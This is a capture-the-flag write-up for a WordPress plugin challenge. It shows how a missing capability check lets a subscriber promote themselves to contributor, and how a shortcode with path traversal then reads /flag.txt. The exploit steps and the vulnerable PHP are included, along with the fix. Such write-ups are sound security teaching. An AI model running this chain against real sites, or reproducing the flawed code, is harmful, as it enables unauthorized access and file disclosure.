Patchstack WCEU CTF – Open Contributions
Table of Contents
Challenge Setup
The downloadable archive contains the plugin and a tweaked wp-login.php, plus the flag at the container root: download
.
├── flag.txt
├── open-contributions
│ ├── assets/js/plugin-ajax.js
│ └── includes
│ ├── class-ajax-handler.php
│ ├── class-shortcodes.php
│ └── …(other helper files)
└── wp-login.php
The instance runs the plugin inside stock WordPress; registration is open.
Bug #1 — Subscriber ➜ Contributor
// open-contributions/includes/class-ajax-handler.php
add_action('wp_ajax_promote_to_contributor', [__CLASS__, 'handleRolePromotion']);
public static function handleRolePromotion() {
$user = wp_get_current_user();
if ($user && in_array('subscriber', $user->roles)) {
$user->set_role('contributor'); // ✗ no nonce / capability check
wp_send_json_success('User elevated …');
}
wp_send_json_error('Role promotion failed.');
}
Any logged-in subscriber can post
action=promote_to_contributor → instant contributor.

Bug #2 — LFI Shortcode
// open-contributions/includes/class-shortcodes.php
add_shortcode('preview_file', [__CLASS__, 'renderPreview']);
public static function renderPreview($atts) {
$atts = shortcode_atts(['path' => ''], $atts);
$filepath = ABSPATH . sanitize_text_field($atts['path']); // ../ survives
if (file_exists($filepath)) {
return '<pre>' . esc_html(file_get_contents($filepath)) . '</pre>';
}
return '<strong>File not found.</strong>';
}
Because sanitize_text_field() leaves traversal sequences intact,
[preview_file path="../../../flag.txt"] ultimately reads /flag.txt.

Exploit Walkthrough
-
Register a new account (role: subscriber).
-
Promote yourself via
POST /wp-admin/admin-ajax.php?action=promote_to_contributor— cookies only. -
As a contributor, open the post editor, drop the shortcode
[preview_file path="../../../flag.txt"]into a draft, hit Preview.
WordPress renders the draft, executes the shortcode, and the flag appears inside the preview.

CTF{CONTRIBUTOR_TO_THE_BACKDOOR_0z933}
Conclusion
Two missing lines — one check_ajax_referer() and one realpath()/whitelist check — turn an optimistic “anyone can contribute” idea into a full file-read primitive. From zero knowledge to /flag.txt in under a minute.